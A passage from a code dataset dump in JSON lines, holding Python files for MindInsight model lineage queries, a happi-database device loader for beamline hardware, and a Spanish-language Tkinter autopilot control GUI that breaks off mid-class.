20)","sub_path":"Neural_Machine_Translation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"569245112","text":"# Copyright 2019 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"This file is used to define the model lineage python api.\"\"\"\nimport os\nimport numpy as np\nimport pandas as pd\n\nfrom mindinsight.lineagemgr.common.exceptions.exceptions import LineageParamValueError, \\\n LineageQuerySummaryDataError, LineageParamSummaryPathError, \\\n LineageQuerierParamException, LineageDirNotExistError, LineageSearchConditionParamError, \\\n LineageParamTypeError, LineageSummaryParseException\nfrom mindinsight.lineagemgr.common.log import logger as log\nfrom mindinsight.lineagemgr.common.utils import normalize_summary_dir, get_relative_path\nfrom mindinsight.lineagemgr.common.validator.model_parameter import SearchModelConditionParameter\nfrom mindinsight.lineagemgr.common.validator.validate import validate_filter_key, validate_search_model_condition, \\\n validate_condition, validate_path, validate_train_id\nfrom mindinsight.lineagemgr.lineage_parser import LineageParser, LineageOrganizer\nfrom mindinsight.lineagemgr.querier.querier import Querier\nfrom mindinsight.optimizer.common.enums import ReasonCode\nfrom mindinsight.optimizer.utils.utils import is_simple_numpy_number\nfrom mindinsight.utils.exceptions import MindInsightException\n\n_METRIC_PREFIX = \"[M]\"\n_USER_DEFINED_PREFIX = \"[U]\"\n\nUSER_DEFINED_INFO_LIMIT = 100\n\n\ndef get_summary_lineage(data_manager=None, summary_dir=None, keys=None):\n \"\"\"\n Get summary lineage from data_manager or parsing from summaries.\n\n One of data_manager or summary_dir needs to be specified. Support getting\n super_lineage_obj from data_manager or parsing summaries by summary_dir.\n\n Args:\n data_manager (DataManager): Data manager defined as\n mindinsight.datavisual.data_transform.data_manager.DataManager\n summary_dir (str): The summary directory. It contains summary logs for\n one training.\n keys (list[str]): The filter keys of lineage information. The acceptable\n keys are `metric`, `user_defined`, `hyper_parameters`, `algorithm`,\n `train_dataset`, `model`, `valid_dataset` and `dataset_graph`.\n If it is `None`, all information will be returned. Default: None.\n\n Returns:\n dict, the lineage information for one training.\n\n Raises:\n LineageParamSummaryPathError: If summary path is invalid.\n LineageQuerySummaryDataError: If querying summary data fails.\n LineageFileNotFoundError: If the summary log file is not found.\n\n \"\"\"\n default_result = {}\n if data_manager is None and summary_dir is None:\n raise LineageParamTypeError(\"One of data_manager or summary_dir needs to be specified.\")\n if data_manager is not None and summary_dir is None:\n raise LineageParamTypeError(\"If data_manager is specified, the summary_dir needs to be \"\n \"specified as relative path.\")\n\n if keys is not None:\n validate_filter_key(keys)\n\n if data_manager is None:\n normalize_summary_dir(summary_dir)\n super_lineage_obj = LineageParser(summary_dir).super_lineage_obj\n else:\n validate_train_id(summary_dir)\n super_lineage_obj = LineageOrganizer(data_manager=data_manager).get_super_lineage_obj(summary_dir)\n\n if super_lineage_obj is None:\n return default_result\n\n try:\n result = Querier({summary_dir: super_lineage_obj}).get_summary_lineage(summary_dir, keys)\n except (LineageQuerierParamException, LineageParamTypeError) as error:\n log.error(str(error))\n log.exception(error)\n raise LineageQuerySummaryDataError(\"Get summary lineage failed.\")\n return result[0]\n\n\ndef filter_summary_lineage(data_manager=None, summary_base_dir=None, search_condition=None, added=False):\n \"\"\"\n Filter summary lineage from data_manager or parsing from summaries.\n\n One of data_manager or summary_base_dir needs to be specified. Support getting\n super_lineage_obj from data_manager or parsing summaries by summary_base_dir.\n\n Args:\n data_manager (DataManager): Data manager defined as\n mindinsight.datavisual.data_transform.data_manager.DataManager\n summary_base_dir (str): The summary base directory. It contains summary\n directories generated by training.\n search_condition (dict): The search condition.\n \"\"\"\n if data_manager is None and summary_base_dir is None:\n raise LineageParamTypeError(\"One of data_manager or summary_base_dir needs to be specified.\")\n\n if data_manager is None:\n summary_base_dir = normalize_summary_dir(summary_base_dir)\n else:\n summary_base_dir = data_manager.summary_base_dir\n\n search_condition = {} if search_condition is None else search_condition\n\n try:\n validate_condition(search_condition)\n validate_search_model_condition(SearchModelConditionParameter, search_condition)\n except MindInsightException as error:\n log.error(str(error))\n log.exception(error)\n raise LineageSearchConditionParamError(str(error.message))\n\n try:\n search_condition = _convert_relative_path_to_abspath(summary_base_dir, search_condition)\n except (LineageParamValueError, LineageDirNotExistError) as error:\n log.error(str(error))\n log.exception(error)\n raise LineageParamSummaryPathError(str(error.message))\n\n try:\n lineage_objects = LineageOrganizer(data_manager, summary_base_dir).super_lineage_objs\n result = Querier(lineage_objects).filter_summary_lineage(\n condition=search_condition,\n added=added\n )\n except LineageSummaryParseException:\n result = {'object': [], 'count': 0}\n except (LineageQuerierParamException, LineageParamTypeError) as error:\n log.error(str(error))\n log.exception(error)\n raise LineageQuerySummaryDataError(\"Filter summary lineage failed.\")\n\n return result\n\n\ndef _convert_relative_path_to_abspath(summary_base_dir, search_condition):\n \"\"\"\n Convert relative path to absolute path.\n\n Args:\n summary_base_dir (str): The summary base directory.\n search_condition (dict): The search condition.\n\n Returns:\n dict, the updated search_condition.\n\n Raises:\n LineageParamValueError: If the value of input_name is invalid.\n \"\"\"\n if (\"summary_dir\" not in search_condition) or (not search_condition.get(\"summary_dir\")):\n return search_condition\n\n summary_dir_condition = search_condition.get(\"summary_dir\")\n\n if 'in' in summary_dir_condition:\n summary_paths = []\n for summary_dir in summary_dir_condition.get('in'):\n if summary_dir.startswith('./'):\n abs_dir = os.path.join(\n summary_base_dir, summary_dir[2:]\n )\n abs_dir = validate_path(abs_dir)\n else:\n abs_dir = validate_path(summary_dir)\n summary_paths.append(abs_dir)\n search_condition.get('summary_dir')['in'] = summary_paths\n\n if 'eq' in summary_dir_condition:\n summary_dir = summary_dir_condition.get('eq')\n if summary_dir.startswith('./'):\n abs_dir = os.path.join(\n summary_base_dir, summary_dir[2:]\n )\n abs_dir = validate_path(abs_dir)\n else:\n abs_dir = validate_path(summary_dir)\n search_condition.get('summary_dir')['eq'] = abs_dir\n\n return search_condition\n\n\ndef get_lineage_table(data_manager, search_condition):\n \"\"\"Get lineage data in a table from data manager.\"\"\"\n summary_base_dir = data_manager.summary_base_dir\n lineages = filter_summary_lineage(data_manager=data_manager, search_condition=search_condition)\n lineage_objects = lineages.get(\"object\", [])\n\n # Step 1, get column names\n column_names = _get_columns_name(lineage_objects)\n\n # Step 2, collect data\n column_data = _organize_data_to_matrix(lineage_objects, column_names, summary_base_dir)\n\n return LineageTable(pd.DataFrame(column_data))\n\n\ndef _get_columns_name(lineage_objects):\n \"\"\"Get columns name.\"\"\"\n column_names = set()\n user_defined_num = 0\n for lineage in lineage_objects:\n model_lineage = lineage.get(\"model_lineage\", {})\n metric = model_lineage.get(\"metric\", {})\n metric_names = tuple('{}{}'.format(_METRIC_PREFIX, key) for key in metric.keys())\n user_defined = model_lineage.get(\"user_defined\", {})\n user_defined_names = tuple('{}{}'.format(_USER_DEFINED_PREFIX, key) for key in user_defined.keys())\n model_lineage_temp = list(model_lineage.keys())\n for key in model_lineage_temp:\n if key in [\"metric\", \"user_defined\"]:\n model_lineage_temp.remove(key)\n column_names.update(model_lineage_temp)\n column_names.update(metric_names)\n if user_defined_num + len(user_defined_names) <= USER_DEFINED_INFO_LIMIT:\n column_names.update(user_defined_names)\n user_defined_num += len(user_defined_names)\n elif user_defined_num < USER_DEFINED_INFO_LIMIT <= user_defined_num + len(user_defined_names):\n names = []\n for i in range(USER_DEFINED_INFO_LIMIT - user_defined_num):\n names.append(user_defined_names[i])\n column_names.update(names)\n user_defined_num += len(names)\n log.info(\"Partial user_defined_info is deleted. Currently saved length is: %s.\", user_defined_num)\n else:\n log.info(\"The quantity of user_defined_info has reached the limit %s.\", USER_DEFINED_INFO_LIMIT)\n column_names.update([\"train_id\"])\n\n return column_names\n\n\ndef _organize_data_to_matrix(lineage_objects, column_names, summary_base_dir):\n \"\"\"Collect data and transform to matrix.\"\"\"\n cnt_lineages = len(lineage_objects)\n column_data = {key: [None] * cnt_lineages for key in column_names}\n for ind, lineage in enumerate(lineage_objects):\n\n train_id = get_relative_path(lineage.get(\"summary_dir\"), summary_base_dir)\n\n model_lineage = lineage.get(\"model_lineage\", {})\n metric = model_lineage.pop(\"metric\", {})\n metric_content = {\n '{}{}'.format(_METRIC_PREFIX, key): val for key, val in metric.items()\n }\n user_defined = model_lineage.pop(\"user_defined\", {})\n user_defined_content = {\n '{}{}'.format(_USER_DEFINED_PREFIX, key): val for key, val in user_defined.items()\n }\n final_content = {}\n final_content.update(model_lineage)\n final_content.update(metric_content)\n final_content.update(user_defined_content)\n final_content.update({\"train_id\": train_id})\n for key, val in final_content.items():\n if isinstance(val, str) and val.lower() in ['nan', 'inf']:\n val = np.nan\n if key in column_data:\n column_data[key][ind] = val\n return column_data\n\n\nclass LineageTable:\n \"\"\"Wrap lineage data in a table.\"\"\"\n _LOSS_NAME = \"loss\"\n _NOT_TUNABLE_NAMES = [_LOSS_NAME, \"train_id\", \"device_num\", \"model_size\",\n \"test_dataset_count\", \"train_dataset_count\"]\n\n def __init__(self, df: pd.DataFrame):\n self._df = df\n self.train_ids = self._df[\"train_id\"].tolist()\n self._drop_columns_info = []\n self._remove_unsupported_columns()\n\n def _remove_unsupported_columns(self):\n \"\"\"Remove unsupported columns.\"\"\"\n columns_to_drop = []\n for name, data in self._df.iteritems():\n if not is_simple_numpy_number(data.dtype):\n columns_to_drop.append(name)\n\n if columns_to_drop:\n log.debug(\"Unsupported columns: %s\", columns_to_drop)\n self._df = self._df.drop(columns=columns_to_drop)\n\n for name in columns_to_drop:\n if not name.startswith(_USER_DEFINED_PREFIX):\n continue\n self._drop_columns_info.append({\n \"name\": name,\n \"unselected\": True,\n \"reason_code\": ReasonCode.NOT_ALL_NUMBERS.value\n })\n\n @property\n def target_names(self):\n \"\"\"Get names for optimize targets (eg loss, accuracy).\"\"\"\n target_names = [name for name in self._df.columns if name.startswith(_METRIC_PREFIX)]\n if self._LOSS_NAME in self._df.columns:\n target_names.append(self._LOSS_NAME)\n return target_names\n\n @property\n def hyper_param_names(self, tunable=True):\n \"\"\"Get hyper param names.\"\"\"\n blocked_names = self._get_blocked_names(tunable)\n\n hyper_param_names = [\n name for name in self._df.columns\n if not name.startswith(_METRIC_PREFIX) and name not in blocked_names]\n\n if self._LOSS_NAME in hyper_param_names:\n hyper_param_names.remove(self._LOSS_NAME)\n\n return hyper_param_names\n\n def _get_blocked_names(self, tunable):\n if tunable:\n block_names = self._NOT_TUNABLE_NAMES\n else:\n block_names = []\n return block_names\n\n @property\n def user_defined_hyper_param_names(self):\n \"\"\"Get user defined hyper param names.\"\"\"\n names = [name for name in self._df.columns if name.startswith(_USER_DEFINED_PREFIX)]\n return names\n\n def get_column(self, name):\n \"\"\"\n Get data for specified column.\n Args:\n name (str): column name.\n\n Returns:\n np.ndarray, specified column.\n\n \"\"\"\n return self._df[name]\n\n def get_column_values(self, name):\n \"\"\"\n Get data for specified column.\n Args:\n name (str): column name.\n\n Returns:\n list, specified column data. If value is np.nan, transform to None.\n\n \"\"\"\n return [None if np.isnan(num) else num for num in self._df[name].tolist()]\n\n @property\n def df(self):\n \"\"\"Get the DataFrame.\"\"\"\n return self._df\n\n @property\n def drop_column_info(self):\n \"\"\"Get dropped columns info.\"\"\"\n return self._drop_columns_info\n","sub_path":"mindinsight/lineagemgr/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"182481951","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nRead the beamline database and construct objects\n\"\"\"\nimport logging\n\nimport happi\n\nimport pcdsdevices\n\nlogger = logging.getLogger(__name__)\n_client = None\n\n\ndef read_happi(client=None):\n \"\"\"\n Connect to the happi database and return a list of all devices.\n\n Parameters\n ----------\n client : happi.Client, optional\n Instance of Client to use for the read. Included as a parameter to be\n substituted with the mock client for testing. If not provided, we'll\n use the default client.\n\n Returns\n -------\n devices : list of happi.Device\n \"\"\"\n if client is None:\n global _client\n if _client is None:\n logger.info(\"Instantiating happi client\")\n _client = happi.Client()\n client = _client\n logger.info(\"Requesting all devices from happi client of class %s\",\n type(client))\n return client.all_devices\n\n\ndef construct_device(happi_object, device_class=None, info_map=None, **kwargs):\n \"\"\"\n Create a functional device from the information stored in a happi device.\n\n Parameters\n ----------\n happi_object : happi.Device\n\n device_class : class, optional\n Class to instantiate with given happi information. If no class is given\n one will be selected using the :func:`.pick_class` function\n\n info_map : dict, optional\n Rename happi information to match Device keywords. Conversion from info\n name to keyword should be entered as happi info name -> device kwarg\n name pairs\n\n kwargs :\n Additional keywords are passed into the device constructor\n Returns\n -------\n device : ophyd.Device\n \"\"\"\n info = {}\n info_map = info_map or {}\n\n #Gather information from device\n for entry in happi_object.info_names:\n try:\n info[entry] = getattr(happi_object, entry)\n except AttributeError:\n pass\n logger.debug(\"Extracted info dictionary from happi: %s\", info)\n\n #Convert keyword information\n for key, value in info_map.items():\n info[value] = info.pop(key)\n\n #Class selection\n if not device_class:\n device_type = happi_object.__class__.__name__\n device_class = pick_class(device_type, info)\n\n #Instantiate device with information\n return device_class(db_info=happi_object.post(), **info, **kwargs)\n\n\ndef pick_class(base, info):\n \"\"\"\n Given information from happi, determine which device subclass to use. add\n kwargs to info if necessary.\n\n Parameters\n ----------\n base : str\n A string representation of the device class name from happi. These\n should always match an available class in module.\n info : dict\n A dictionary mapping of happi entry info to stored value. Eventually\n this will be passed as kwargs to instantiate the device object. This\n may be mutated in this function to pass additional args.\n \"\"\"\n clsname = base\n if base == \"PulsePicker\":\n if info[\"beamline\"] in (\"XCS\", \"XPP\"):\n clsname += \"Pink\"\n # TODO find ioc pvs as needed and add to info\n # probably scrape iocmanager and iocdata\n return getattr(pcdsdevices, clsname)\n","sub_path":"pcdsdevices/happireader.py","file_name":"happireader.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"79413124","text":"from tkinter import *\nfrom tkinter import filedialog\nimport threading\nimport Autopiloto_Def.Libreria_Control_5_GUI as LC\nimport Autopiloto_Def.Libreria_vision_GUI_2 as LV\nimport matplotlib\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nmatplotlib.use('TkAgg')\nfrom tensorflow.keras.models import load_model\n\n\n\nclass Pagina_principal():\n def __init__(self,raiz):\n self.Qgc=LC.QGC()\n self.raiz=raiz\n self.Verbose_options=Verbose_options()\n self.miframe = Frame(raiz)\n self.miframe.pack()\n self.Vision=0\n # ------------------------------------------------\n # -----------------Cajas texto--------------------\n # ------------------------------------------------\n self.metros = Entry(self.miframe)\n self.metros.grid(row=1, column=7)\n self.Latitud = Entry(self.miframe)\n self.Latitud.grid(row=2, column=5)\n self.Longitud = Entry(self.miframe)\n self.Longitud.grid(row=2, column=7)\n self.Pitch = Entry(self.miframe)\n self.Pitch.grid(row=7, column=5)\n self.Roll = Entry(self.miframe)\n self.Roll.grid(row=7, column=7)\n # ------------------------------------------------\n # -----------------Labels-------------------------\n # ------------------------------------------------\n Label(self.miframe, text=\"Latitud:\").grid(row=2, column=4)\n Label(self.miframe, text=\"Metros:\").grid(row=1, column=6)\n Label(self.miframe, text=\"Longitud:\").grid(row=2, column=6)\n Label(self.miframe, text=\"Pitch:\").grid(row=7, column=4)\n Label(self.miframe, text=\"Roll:\").grid(row=7, column=6)\n # ------------------------------------------------\n # -----------------Botones------------------------\n # ------------------------------------------------\n self.GoTo = Button(self.miframe, text=\" GoTo \",command=self.Actuar_GoTo,bg='white',width=10)\n self.GoTo.grid(row=2, column=8)\n self.GoTo_activo=0\n self.Waypoint=LC.Waypoint(21,-157,500,100,1)\n self.Mission = Button(self.miframe, text=\"Mission\",command=self.Actuar_Mision,bg='white',width=10)\n self.Mission.grid(row=3, column=8,padx=5)\n self.Mission_activo = 0\n self.Altitud = Button(self.miframe, text=\"Altitud\",command=self.Actuar_Altitud,bg='white',width=10)\n self.Altitud.grid(row=1, column=8)\n self.Altitud_activo=0\n self.Altitud_vuelo=500\n self.Takeoff = Button(self.miframe, text=\"Takeoff\",command=self.Actuar_Takeoff,bg='white',width=10)\n self.Takeoff.grid(row=4, column=8)\n self.Takeoff_activo=0\n self.Land = Button(self.miframe, text=\" Land \",command=self.Actuar_Land,bg='white',width=10)\n self.Land.grid(row=5, column=8)\n self.Land_activo = 0\n self.AutoLand = Button(self.miframe, text=\" Auto-Land \",command=self.Actuar_Auto_Land,bg='white',width=10)\n self.AutoLand.grid(row=6, column=8)\n self.AutoLand_activo = 0\n self.Calibracion = Button(self.miframe, text=\" Calibracion \",command=self.Actuar_Calibracion,bg='white',width=10)\n self.Calibracion.grid(row=7, column=8)\n self.Calibracion_activo = 0\n # ------------------------------------------------\n # -----------------Texto--------------------------\n # ------------------------------------------------\n Label(self.miframe, text=\"Output:\").place(x=0,y=80)\n self.Texto=Text(self.miframe,background=\"white\", width=38, height=6)\n self.Texto.place(x=45,y=55)\n # ------------------------------------------------\n # -----------------Menu---------------------------\n # ------------------------------------------------\n menu = Menu(raiz)\n raiz.config(menu=menu)\n # Mission\n Mission = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"Mission\", menu=Mission)\n Mission.add_command(label=\"Create Mission\",command=lambda:Pagina_Mission(self.miframe,self.Qgc,self))\n Mission.add_command(label=\"Load Mission\", command=self.Cargar_mission)\n # Control\n Control = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"Control\", menu=Control)\n Control.add_command(label=\"Tunning PID\",command=lambda:Pagina_PIDs(self.miframe,self.Qgc,self))\n Control.add_command(label=\"Load PID\", command=self.Cargar_PIDs)\n # Verbose\n Verbose = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"Verbose\", menu=Verbose)\n Verbose.add_command(label=\"Options\",command=lambda:Pagina_Verbose(self.miframe,self))\n # Comm\n Comunications = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"Comunications\", menu=Comunications)\n Comunications.add_command(label=\"Config\",command=lambda:Pagina_Comm(self.miframe,self))\n # IA\n IA = Menu(menu, tearoff=0)\n menu.add_cascade(label=\"IA\", menu=IA)\n IA.add_command(label=\"IA config\",command=lambda:Pagina_IA(self.miframe,self))\n\n if self.Qgc.Modelo is None:\n self.AutoLand.configure(state=DISABLED)\n if self.Qgc.Mission is None or self.Qgc.Modelo is None:\n self.Mission.configure(state=DISABLED)\n\n\n # ------------------------------------------------\n # -----------------Funciones Menu-----------------\n # ------------------------------------------------\n def Cargar_mission(self):\n Fichero = filedialog.askopenfilename(title=\"Abrir\", filetypes=((\"Fichero txt\", \"*.txt\"),))\n Mission = []\n try:\n Fichero = open(Fichero, \"r\")\n for lines in Fichero.readlines():\n line = lines.split(',')\n Mission.append(LC.Waypoint(float(line[0]), float(line[1]), float(line[2]), int(line[3]), int(line[4])))\n self.Qgc.Mission = Mission\n self.Texto.insert(\"insert\", \"Mision cargada correctamente\\n\")\n print('Cargada')\n if self.Qgc.Modelo is not None:\n self.Mission.configure(state=NORMAL)\n else:\n print('Falta IA')\n self.Texto.insert(\"insert\", \"Falta IA\\n\")\n except: # Si no hay mision se define una por defecto\n print('No hay mision')\n\n def Cargar_PIDs(self):\n Control=LC.PIDs()\n i=0\n Fichero = filedialog.askopenfilename(title=\"Abrir\", filetypes=((\"Fichero txt\", \"*.txt\"),))\n try:\n Fichero = open(Fichero, \"r\")\n for lines in Fichero.readlines():\n line = lines.split(',')\n if i==0:\n Control.PID_Heading.tunings=(float(line[0]), float(line[1]), float(line[2]))\n elif i==1:\n Control.PID_Altitud.tunings=(float(line[0]), float(line[1]), float(line[2]))\n elif i==2:\n Control.PID_Roll.tunings=(float(line[0]), float(line[1]), float(line[2]))\n elif i==3:\n Control.PID_Pitch.tunings=(float(line[0]), float(line[1]), float(line[2]))\n elif i==4:\n Control.PID_AirSpeed.tunings=(float(line[0]), float(line[1]), float(line[2]))\n i+=1\n self.Qgc.Control = Control\n print('Cargados')\n except: # Si no hay mision se define una por defecto\n print('No hay PIDs o no estan completos')\n\n # ------------------------------------------------\n # -----------------FUNCIONES BOTONES--------------\n # ------------------------------------------------\n\n def Actuar_Mision(self):\n if self.Mission_activo==0:\n if not self.Vision.is_alive():\n self.Vision=LV.Vision(self.Qgc.Cola,self.Qgc.Modelo,self.Texto)\n self.hilo = Boton(self,LC.Mission)\n self.hilo.start()\n self.Mission.config(bg=\"green\")\n self.Mission_activo=1\n # Deshabilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=DISABLED)\n self.Land.configure(state=DISABLED)\n self.Altitud.configure(state=DISABLED)\n self.Takeoff.configure(state=DISABLED)\n self.AutoLand.configure(state=DISABLED)\n self.Calibracion.configure(state=DISABLED)\n else:\n self.Mission.config(bg=\"white\")\n self.Mission_activo=0\n self.hilo.Parar()\n #Habilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=NORMAL)\n self.Land.configure(state=NORMAL)\n self.Altitud.configure(state=NORMAL)\n self.Takeoff.configure(state=NORMAL)\n if self.Qgc.Modelo is not None:\n self.AutoLand.configure(state=NORMAL)\n self.Calibracion.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Actuar_Altitud(self):\n if self.Altitud_activo == 0:\n if self.metros.get()!=\"\":\n self.Altitud_vuelo=float(self.metros.get())\n else:\n self.Altitud_vuelo=600\n print('No hay altura')\n self.hilo = Boton(self, LC.Altitud)\n self.hilo.start()\n self.Altitud.config(bg=\"green\")\n self.Altitud_activo = 1\n # Deshabilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=DISABLED)\n self.Land.configure(state=DISABLED)\n self.Mission.configure(state=DISABLED)\n self.Takeoff.configure(state=DISABLED)\n self.AutoLand.configure(state=DISABLED)\n self.Calibracion.configure(state=DISABLED)\n else:\n self.Altitud.config(bg=\"white\")\n self.Altitud_activo = 0\n self.hilo.Parar()\n # Habilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=NORMAL)\n self.Land.configure(state=NORMAL)\n if self.Qgc.Mission is not None:\n self.Mission.configure(state=NORMAL)\n self.Takeoff.configure(state=NORMAL)\n if self.Qgc.Modelo is not None:\n self.AutoLand.configure(state=NORMAL)\n self.Calibracion.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Actuar_Land(self):\n if self.Land_activo == 0:\n self.hilo = Boton(self,LC.Land)\n self.hilo.start()\n self.Land.config(bg=\"green\")\n self.Land_activo = 1\n # Deshabilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=DISABLED)\n self.Altitud.configure(state=DISABLED)\n self.Mission.configure(state=DISABLED)\n self.Takeoff.configure(state=DISABLED)\n self.AutoLand.configure(state=DISABLED)\n self.Calibracion.configure(state=DISABLED)\n else:\n self.Land.config(bg=\"white\")\n self.Land_activo = 0\n self.hilo.Parar()\n # Habilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=NORMAL)\n self.Altitud.configure(state=NORMAL)\n if self.Qgc.Mission is not None:\n self.Mission.configure(state=NORMAL)\n self.Takeoff.configure(state=NORMAL)\n if self.Qgc.Modelo is not None:\n self.AutoLand.configure(state=NORMAL)\n self.Calibracion.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Actuar_Takeoff(self):\n if self.Takeoff_activo == 0:\n self.hilo = Boton(self, LC.Takeoff)\n self.hilo.start()\n self.Takeoff.config(bg=\"green\")\n self.Takeoff_activo = 1\n # Deshabilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=DISABLED)\n self.Altitud.configure(state=DISABLED)\n self.Mission.configure(state=DISABLED)\n self.Land.configure(state=DISABLED)\n self.AutoLand.configure(state=DISABLED)\n self.Calibracion.configure(state=DISABLED)\n else:\n self.Takeoff.config(bg=\"white\")\n self.Takeoff_activo = 0\n self.hilo.Parar()\n # Habilitar los botones de otros modos de vuelo\n self.GoTo.configure(state=NORMAL)\n self.Altitud.configure(state=NORMAL)\n if self.Qgc.Mission is not None:\n self.Mission.configure(state=NORMAL)\n self.Land.configure(state=NORMAL)\n if self.Qgc.Modelo is not None:\n self.AutoLand.configure(state=NORMAL)\n self.Calibracion.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Actuar_GoTo(self):\n if self.GoTo_activo == 0:\n if self.Latitud.get()!=\"\" and self.Longitud.get()!=\"\":\n self.Waypoint.lat=float(self.Latitud.get())\n self.Waypoint.lon = float(self.Longitud.get())\n self.hilo = Boton(self, LC.Nav)\n self.hilo.start()\n self.GoTo.config(bg=\"green\")\n self.GoTo_activo = 1\n # Deshabilitar los botones de otros modos de vuelo\n self.Takeoff.configure(state=DISABLED)\n self.Altitud.configure(state=DISABLED)\n self.Mission.configure(state=DISABLED)\n self.Land.configure(state=DISABLED)\n self.AutoLand.configure(state=DISABLED)\n self.Calibracion.configure(state=DISABLED)\n else:\n self.GoTo.config(bg=\"white\")\n self.GoTo_activo = 0\n self.hilo.Parar()\n # Habilitar los botones de otros modos de vuelo\n self.Takeoff.configure(state=NORMAL)\n self.Altitud.configure(state=NORMAL)\n if self.Qgc.Mission is not None:\n self.Mission.configure(state=NORMAL)\n self.Land.configure(state=NORMAL)\n if self.Qgc.Modelo is not None:\n self.AutoLand.configure(state=NORMAL)\n self.Calibracion.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Actuar_Auto_Land(self):\n if self.AutoLand_activo == 0:\n if not self.Vision.is_alive():\n self.Vision=LV.Vision(self.Qgc.Cola,self.Qgc.Modelo,self.Texto)\n self.hilo = Boton(self, LC.Aterrizaje_autonomo)\n self.hilo.start()\n self.AutoLand.config(bg=\"green\")\n self.AutoLand_activo = 1\n # Deshabilitar los botones de otros modos de vuelo\n self.Takeoff.configure(state=DISABLED)\n self.Altitud.configure(state=DISABLED)\n self.Mission.configure(state=DISABLED)\n self.Land.configure(state=DISABLED)\n self.GoTo.configure(state=DISABLED)\n self.Calibracion.configure(state=DISABLED)\n else:\n self.AutoLand.config(bg=\"white\")\n self.AutoLand_activo = 0\n self.hilo.Parar()\n # Habilitar los botones de otros modos de vuelo\n self.Takeoff.configure(state=NORMAL)\n self.Altitud.configure(state=NORMAL)\n if self.Qgc.Mission is not None:\n self.Mission.configure(state=NORMAL)\n self.Land.configure(state=NORMAL)\n self.GoTo.configure(state=NORMAL)\n self.Calibracion.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Actuar_Calibracion(self):\n if self.Calibracion_activo == 0:\n Roll=0\n Pitch=0\n if self.Roll.get() != \"\":\n Roll=float(self.Roll.get())\n if self.Pitch.get() != \"\":\n Pitch=float(self.Pitch.get())\n self.hilo = Boton(self, LC.Bajo_nivel,Roll=Roll,Pitch=Pitch)\n self.hilo.start()\n self.Calibracion.config(bg=\"green\")\n self.Calibracion_activo = 1\n # Deshabilitar los botones de otros modos de vuelo\n self.Takeoff.configure(state=DISABLED)\n self.Altitud.configure(state=DISABLED)\n self.Mission.configure(state=DISABLED)\n self.Land.configure(state=DISABLED)\n self.GoTo.configure(state=DISABLED)\n self.AutoLand.configure(state=DISABLED)\n else:\n self.Calibracion.config(bg=\"white\")\n self.Calibracion_activo = 0\n self.hilo.Parar()\n # Habilitar los botones de otros modos de vuelo\n self.Takeoff.configure(state=NORMAL)\n self.Altitud.configure(state=NORMAL)\n if self.Qgc.Mission is not None:\n self.Mission.configure(state=NORMAL)\n self.Land.configure(state=NORMAL)\n self.GoTo.configure(state=NORMAL)\n if self.Qgc.Modelo is not None:\n self.AutoLand.configure(state=NORMAL)\n self.Plotear()\n if self.Verbose_options.Clean==1:\n self.Clean()\n\n def Plotear(self):\n if self.Verbose_options.Heading:\n Pagina_Plots(self.miframe,self.Qgc.Verbose.Plot_Heading(self))\n if self.Verbose_options.Altitud:\n Pagina_Plots(self.miframe, self.Qgc.Verbose.Plot_altitud(self))\n if self.Verbose_options.pitch:\n Pagina_Plots(self.miframe, self.Qgc.Verbose.Plot_Pitch(self))\n if self.Verbose_options.Roll:\n Pagina_Plots(self.miframe, self.Qgc.Verbose.Plot_Roll(self))\n if self.Verbose_options.Vel:\n Pagina_Plots(self.miframe, self.Qgc.Verbose.Plot_Vel(self))\n if self.Verbose_options.Posicion:\n Pagina_Plots(self.miframe, self.Qgc.Verbose.Plot_Posicion(self))\n\n\n\n\n def Clean(self):\n self.Qgc.Verbose=LC.Verbose_controls()\n\n\n# ------------------------------------------------\n# -----------------CLASES AUXILIARES--------------\n# ------------------------------------------------\n\nclass Boton(threading.Thread):\n def __init__(self,Main,Funcion,Roll=0,Pitch=0):\n threading.Thread.__init__(self)\n self.Main=Main\n self.Vivo=1\n self.Qgc=Main.Qgc\n self.Funcion=Funcion\n self.Altitud_vuelo=Main.Altitud_vuelo\n self.waypoint=Main.Waypoint\n self.Vision=Main.Vision\n self.pitch=Pitch\n self.Roll=Roll\n self.Hoja_Ruta=0\n def run(self):\n while (1):\n if self.Vivo:\n self.Funcion(self)\n else:\n break\n print('Hilo muerto')\n\n def Get_vivo(self):\n return self.Vivo\n\n def Parar(self):\n self.Vivo=0\n\n\nclass Verbose_options():\n def __init__(self):\n 